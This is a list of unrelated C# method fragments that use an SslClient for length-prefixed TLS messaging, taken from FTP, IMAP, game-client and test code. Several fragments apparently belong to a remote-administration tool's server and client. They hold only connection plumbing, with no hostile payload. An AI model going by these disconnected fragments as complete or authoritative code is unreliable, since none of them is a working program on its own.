public void Disconnected() { if (LV != null) { Program.form1.Invoke((MethodInvoker)(() => { try { lock (Settings.LockListviewClients) LV.Remove(); if (LV2 != null) { lock (Settings.LockListviewThumb) LV2.Remove(); } } catch { } SoundPlayer sp = new SoundPlayer(Server.Properties.Resources.offline); sp.Load(); sp.Play(); new HandleLogs().Addmsg($"Client {Ip} disconnected.", Color.Red); })); } try { SslClient?.Dispose(); TcpClient?.Dispose(); } catch { } }
public static void Send(byte[] msg) { lock (SendSync) { try { if (!IsConnected || msg == null) { return; } byte[] buffer = msg; byte[] buffersize = BitConverter.GetBytes(buffer.Length); Client.Poll(-1, SelectMode.SelectWrite); SslClient.Write(buffersize, 0, buffersize.Length); SslClient.Write(buffer, 0, buffer.Length); SslClient.Flush(); } catch { IsConnected = false; return; } } }
public void Disconnected() { if (LV != null) { Program.form1.BeginInvoke((MethodInvoker)(() => { try { lock (Settings.LockListviewClients) LV.Remove(); if (LV2 != null) { lock (Settings.LockListviewThumb) LV2.Remove(); } } catch { } })); new HandleLogs().Addmsg($"Client {TcpClient.RemoteEndPoint.ToString().Split(':')[0]} disconnected", Color.Red); } try { SslClient?.Dispose(); TcpClient?.Dispose(); ClientMS?.Dispose(); } catch { } }
public void Disconnected() { if (LV != null) { Program.form1.Invoke((MethodInvoker)(() => { try { lock (Settings.LockListviewClients) LV.Remove(); if (LV2 != null) { lock (Settings.LockListviewThumb) LV2.Remove(); } } catch { } new HandleLogs().Addmsg($"Client {Ip} disconnected", Color.Red); })); } try { SslClient?.Dispose(); TcpClient?.Dispose(); } catch { } }
/// <summary> /// Secure data channel connection. /// </summary> private void SecureDataChannel() { // Create a new instance and // assign the properties. _sslSocket = new SslClient() { Connection = _connection, Credentials = _credentials, FilePath = _filePath, Operation = _operation, Timeout = _timeout, InternalFilePath = _internalFilePath, UploadProgressCallback = _uploadProgressCallback, DownloadProgressCallback = _downloadProgressCallback, UploadCompleteCallback = _uploadCompleteCallback, DownloadCompleteCallback = _downloadCompleteCallback }; // Set the event handlers. _sslSocket.OnCommandError += _onCommandError; _sslSocket.OnAsyncThreadError += _onAsyncThreadError; _sslSocket.OnCommandConnected += new ClientCommandHandler(_sslSocket_OnCommandConnected); _sslSocket.OperationCompleteCallback = new OperationCompleteCallback(Close); // Open a new connection. _sslSocket.Open(); }
public void ReadServertData(IAsyncResult ar) { try { if (!ClientSocket.IsConnected || !IsConnected) { IsConnected = false; Dispose(); return; } int recevied = SslClient.EndRead(ar); if (recevied > 0) { MS.Write(Buffer, 0, recevied); if (MS.Length == 4) { Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///"); MS.Dispose(); MS = new MemoryStream(); if (Buffersize > 0) { Buffer = new byte[Buffersize]; while (MS.Length != Buffersize) { int rc = SslClient.Read(Buffer, 0, Buffer.Length); if (rc == 0) { IsConnected = false; Dispose(); return; } MS.Write(Buffer, 0, rc); Buffer = new byte[Buffersize - MS.Length]; } if (MS.Length == Buffersize) { ThreadPool.QueueUserWorkItem(Packet.Read, MS.ToArray()); Buffer = new byte[4]; MS.Dispose(); MS = new MemoryStream(); } } } SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); } else { IsConnected = false; Dispose(); return; } } catch { IsConnected = false; Dispose(); return; } }
public CreateNewGameWindow(SslClient client) { InitializeComponent(); _client = client; _client.ConnectionLost += OnConnectionLost; _client.PackageReceived += OnPackageReceived; }
public async void ReadClientData(IAsyncResult ar) { try { if (!TcpClient.Connected) { Disconnected(); return; } else { int Recevied = SslClient.EndRead(ar); if (Recevied > 0) { await ClientMS.WriteAsync(ClientBuffer, 0, Recevied); if (!ClientBufferRecevied) { if (ClientMS.Length == 4) { ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0); ClientMS.Dispose(); ClientMS = new MemoryStream(); if (ClientBuffersize > 0) { ClientBuffer = new byte[ClientBuffersize]; Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///"); ClientBufferRecevied = true; } } } else { Settings.Received += Recevied; BytesRecevied += Recevied; if (ClientMS.Length == ClientBuffersize) { ThreadPool.QueueUserWorkItem(Packet.Read, new object[] { ClientMS.ToArray(), this }); ClientBuffer = new byte[4]; ClientMS.Dispose(); ClientMS = new MemoryStream(); ClientBufferRecevied = false; } } SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null); } else { Disconnected(); return; } } } catch { Disconnected(); return; } }
public void Send(object msg) { lock (SendSync) { try { if (!TcpClient.Connected) { Disconnected(); return; } if ((byte[])msg == null) { return; } byte[] buffer = (byte[])msg; byte[] buffersize = BitConverter.GetBytes(buffer.Length); TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(buffersize, 0, buffersize.Length); if (buffer.Length > 1000000) //1mb { Debug.WriteLine("send chunks"); int chunkSize = 50 * 1024; byte[] chunk = new byte[chunkSize]; using (MemoryStream buffereReader = new MemoryStream(buffer)) using (BinaryReader binaryReader = new BinaryReader(buffereReader)) { int bytesToRead = (int)buffereReader.Length; do { chunk = binaryReader.ReadBytes(chunkSize); bytesToRead -= chunkSize; SslClient.Write(chunk, 0, chunk.Length); SslClient.Flush(); lock (Settings.LockReceivedSendValue) Settings.SentValue += chunk.Length; } while (bytesToRead > 0); } } else { SslClient.Write(buffer, 0, buffer.Length); SslClient.Flush(); lock (Settings.LockReceivedSendValue) Settings.SentValue += buffer.Length; } Debug.WriteLine("/// Server Sent " + buffer.Length.ToString() + " Bytes ///"); } catch { Disconnected(); return; } } }
public static void ReadServertData(IAsyncResult ar) { try { if (!TcpClient.Connected || !IsConnected) { IsConnected = false; return; } int recevied = SslClient.EndRead(ar); if (recevied > 0) { MS.Write(Buffer, 0, recevied); if (MS.Length == 4) { Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); MS.Dispose(); MS = new MemoryStream(); if (Buffersize > 0) { Buffer = new byte[Buffersize]; while (MS.Length != Buffersize) { int rc = SslClient.Read(Buffer, 0, Buffer.Length); if (rc == 0) { IsConnected = false; return; } MS.Write(Buffer, 0, rc); Buffer = new byte[Buffersize - MS.Length]; } if (MS.Length == Buffersize) { Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); thread.Start(MS.ToArray()); Buffer = new byte[4]; MS.Dispose(); MS = new MemoryStream(); } } } SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); } else { IsConnected = false; return; } } catch { IsConnected = false; return; } }
public RegisterWindow(SslClient client) { InitializeComponent(); _client = client; _client.ConnectionLost += OnConnectionLost; _client.PackageReceived += OnPackageReceived; }
/// <summary>Does a Logon with SSL.</summary> /// <param name="user">The user.</param> /// <param name="password">The password.</param> /// <param name="server">The server.</param> /// <param name="port">The port.</param> public void LoginSSL(string user, string password, string server, int port = 993) { var sslClient = new SslClient(); sslClient.Connect(server, port); sslClient.DoClientTLS(server); stream = sslClient.Stream; Login(user, password); }
public void Send(object msg) { lock (SendSync) { try { if (!TcpClient.Connected) { Disconnected(); return; } if ((byte[])msg == null) { return; } byte[] buffer = (byte[])msg; byte[] buffersize = BitConverter.GetBytes(buffer.Length); TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(buffersize, 0, buffersize.Length); if (buffer.Length > 1000000) //1mb { Debug.WriteLine("send chunks"); using (MemoryStream memoryStream = new MemoryStream(buffer)) { int read = 0; memoryStream.Position = 0; byte[] chunk = new byte[50 * 1000]; while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(chunk, 0, read); SslClient.Flush(); lock (Settings.LockReceivedSendValue) Settings.SentValue += read; } } } else { TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(buffer, 0, buffer.Length); SslClient.Flush(); lock (Settings.LockReceivedSendValue) Settings.SentValue += buffer.Length; } Debug.WriteLine("/// Server Sent " + buffer.Length.ToString() + " Bytes ///"); } catch { Disconnected(); return; } } }
public static void Reconnect() { try { Ping?.Dispose(); KeepAlive?.Dispose(); SslClient?.Dispose(); TcpClient?.Dispose(); } catch { } }
public void Dispose() { try { Tick?.Dispose(); SslClient?.Dispose(); Client?.Dispose(); MS?.Dispose(); } catch { } }
public static void Disconnected() { try { IsConnected = false; Tick?.Dispose(); SslClient?.Dispose(); TcpClient?.Dispose(); } catch { } }
public static void Reconnect() { try { Tick?.Dispose(); SslClient?.Dispose(); TcpClient?.Dispose(); MS?.Dispose(); } catch { } }
public static void Reconnect() { try { SslClient?.Dispose(); TcpClient?.Dispose(); Ping?.Dispose(); KeepAlive?.Dispose(); } catch { } IsConnected = false; }
private async Task <Stream> setupDataStreamAsync(bool isRead) { if (secureConnection) { DataStream = await SslClient.ConnectAsync(DataStream, Host); } if (isMODEZ) { DataStream = setDeflateStream(DataStream, isRead); } return(DataStream); }
public static void Reconnect() { try { Tick?.Dispose(); SslClient?.Dispose(); Client?.Dispose(); MS?.Dispose(); } finally { InitializeClient(); } }
public static void CreateServerAndConnectedClient(out SocketServer server, out SslClient client1, out SslClient client2) { var connected1 = new ManualResetEventSlim(false); var connected2 = new ManualResetEventSlim(false); var ex = ServerHelpers.CreateExecutor(); var s = ServerHelpers.CreateServer(); SslClient lClient = null; SslClient sClient = null; var certBytesStream = Assembly.GetExecutingAssembly() .GetManifestResourceStream("Stacks.Tests.StacksTest.pfx"); var certBytes = new BinaryReader(certBytesStream).ReadBytes((int)certBytesStream.Length); s.Connected.Subscribe(c => { sClient = new SslClient(c, new X509Certificate2(certBytes)); sClient.Connected.Subscribe(_ => { connected2.Set(); }); sClient.EstablishSsl(); }); s.Started.Subscribe(_ => { lClient = new SslClient(new SocketClient(ex), "Stacks Test", true); lClient.Connected.Subscribe(__ => { connected1.Set(); }); lClient.Connect(new IPEndPoint(IPAddress.Loopback, s.BindEndPoint.Port)); }); s.Start(); connected1.AssertWaitFor(300000); connected2.AssertWaitFor(300000); server = s; client1 = lClient; client2 = sClient; }
public void Send(byte[] msg) { lock (SendSync) { try { if (!IsConnected || !Connection.IsConnected) { Dispose(); return; } byte[] buffersize = BitConverter.GetBytes(msg.Length); TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(buffersize, 0, buffersize.Length); if (msg.Length > 1000000) //1mb { Debug.WriteLine("send chunks"); int chunkSize = 50 * 1024; byte[] chunk = new byte[chunkSize]; using (MemoryStream buffereReader = new MemoryStream(msg)) { BinaryReader binaryReader = new BinaryReader(buffereReader); int bytesToRead = (int)buffereReader.Length; do { chunk = binaryReader.ReadBytes(chunkSize); bytesToRead -= chunkSize; SslClient.Write(chunk, 0, chunk.Length); SslClient.Flush(); } while (bytesToRead > 0); binaryReader.Dispose(); } } else { SslClient.Write(msg, 0, msg.Length); SslClient.Flush(); } } catch { IsConnected = false; Dispose(); return; } } }
private static void Main(string[] args) { //Uid setzen: Console.Write("Set your Uid: "); _uid = Console.ReadLine(); _client = new SslClient(NetworkUtilities.GetThisIPv4Adress(), true); _client.ConnectionLost += OnConnectionLost; _client.ConnectionSucceed += OnConnectionSucceed; _client.PackageReceived += OnPackageReceived; _client.Connect(NetworkUtilities.GetThisIPv4Adress(), 9999); }
private void EndAuthenticate(IAsyncResult ar) { try { SslClient.EndAuthenticateAsServer(ar); ClientBuffer = new byte[HeaderSize]; ClientMS = new MemoryStream(); SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null); } catch { SslClient?.Dispose(); TcpClient?.Dispose(); } }
private void EndAuthenticate(IAsyncResult ar) { try { SslClient.EndAuthenticateAsServer(ar); Offset = 0; HeaderSize = 4; ClientBuffer = new byte[HeaderSize]; SslClient.BeginRead(ClientBuffer, (int)Offset, (int)HeaderSize, ReadClientData, null); } catch { SslClient?.Dispose(); TcpClient?.Dispose(); } }
public GameBrowserWindow(SslClient client, MainWindow mainWindow) { DataContext = new GameBrowserViewModel(); _viewModel = (GameBrowserViewModel)DataContext; InitializeComponent(); _mainWindow = mainWindow; _client = client; _client.ConnectionLost += OnConnectionLost; _client.PackageReceived += OnPackageReceived; RequestGameList(); }
private void EndAuthenticate(IAsyncResult ar) { try { SslClient.EndAuthenticateAsServer(ar); ClientBuffer = new byte[4]; ClientMS = new MemoryStream(); SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null); } catch { //Settings.Blocked.Add(ClientSocket.RemoteEndPoint.ToString().Split(':')[0]); SslClient?.Dispose(); TcpClient?.Dispose(); } }
public static void Send(byte[] msg) { lock (SendSync) { try { if (!IsConnected || msg == null) { return; } byte[] buffersize = BitConverter.GetBytes(msg.Length); TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(buffersize, 0, buffersize.Length); if (msg.Length > 1000000) //1mb { Debug.WriteLine("send chunks"); using (MemoryStream memoryStream = new MemoryStream(msg)) { int read = 0; memoryStream.Position = 0; byte[] chunk = new byte[50 * 1000]; while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(chunk, 0, read); SslClient.Flush(); } } } else { TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(msg, 0, msg.Length); SslClient.Flush(); } Debug.WriteLine("Plugin Packet Sent"); } catch { IsConnected = false; return; } } }
public void Dispose() { IsConnected = false; try { TcpClient.Shutdown(SocketShutdown.Both); } catch { } try { Tick?.Dispose(); SslClient?.Dispose(); TcpClient?.Dispose(); } catch { } }
public void Disconnected() { if (LV != null) { if (Program.form1.listView1.InvokeRequired) { Program.form1.listView1.BeginInvoke((MethodInvoker)(() => { try { lock (Settings.Listview1Lock) LV.Remove(); if (LV2 != null) { lock (Settings.Listview3Lock) LV2.Remove(); } } catch { } })); } lock (Settings.Online) Settings.Online.Remove(this); } try { TcpClient.Shutdown(SocketShutdown.Both); } catch { } try { SslClient?.Close(); TcpClient?.Close(); SslClient?.Dispose(); TcpClient?.Dispose(); ClientMS?.Dispose(); } catch { } }
public MFTestResults TestMethod1() { MFTestResults testResult = MFTestResults.Fail; Log.Comment("Create the client and server sockets"); SslServer sslServer = new SslServer(); SslClient sslClient = new SslClient(); try { // Set up the server here Log.Comment("Create server thread"); sslServer.RunServer(); // Set up the client here sslClient.serverEp = sslServer.serverEp; sslClient.RunClient(); if( sslClient.messageSent == sslClient.messageReceived ) testResult = MFTestResults.Pass; } catch (Exception e) { Log.Comment("Incorrect Exception caught: " + e.ToString()); } finally { try { sslServer.Close(); sslClient.Close(); } catch { } } Log.Comment("known issue: 20848 SSL tests don't work with loopback"); return (testResult == MFTestResults.Fail ? MFTestResults.KnownFailure : testResult); }